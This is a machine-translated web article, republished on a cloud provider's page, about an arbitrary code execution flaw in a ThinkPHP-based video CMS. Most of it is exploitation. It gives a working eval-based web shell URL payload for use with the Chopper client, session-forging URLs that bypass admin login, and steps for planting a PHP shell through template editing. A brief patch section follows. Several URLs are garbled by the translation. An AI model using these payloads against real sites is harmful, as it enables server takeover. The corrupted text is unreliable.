Use and fix Arbitrary Code Execution Vulnerability of Feifei video system 2.0.120220 (Beta4) version of thinkphp

Source: Internet
Author: User

The first method is executed directly.
A http://www.2cto.com/index. php? S = vod-search-area-$ {@ print (eval ($ _ POST [c])}. html
Connect directly with a kitchen knife.

 

 

Method 2: (this is troublesome) execute the following three steps to construct a SESSION, log on to the background directly, and execute the following three steps in sequence.
Enter in the address bar
Index. php? S=vod-search-area-00000000@$_session?adminlogin=00001).html

Index. php? S=vod-search-area-00000000@$_session0000c(user_auth_key000000000000000010000.html

Index. php? Bytes

Log on to the background after the execution is completed.
Enter the address bar
Index. php? S = admin-index
Index. php? S = Admin-Index-Top

Index. php? S = Admin-Index-Top

S = Admin-Tpl-Show
/Index. php? S = Admin-Cache-Show
/Index. php? S = Admin-Tpl-Show-id-. | Tpl | default


Take shell and template management, click a template at will, click Edit, enter the path, and change the name to xx. php to write a sentence.

Solution: This URL security vulnerability can cause users to forge URLs on the client and execute illegal code.

Affected Versions include 2.1, 2.2, and 3.0. Update the core program in a timely manner.


: Http://thinkphp.cn/download-116.html

Correction Method:

First, extract the security patch file.
Versions 2.1 and 2.2
Replace the Dispatcher. class. php file in the patch package with the same name in the ThinkPHP/Lib/Think/Util/directory.

Version 3.0
Replace the Dispatcher. class. php file in the patch package with the same name in the ThinkPHP/Lib/Core/directory.
Replace the CheckRouteBehavior. class. php file in the patch package with the same name in the ThinkPHP/Lib/Behavior/directory.
 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.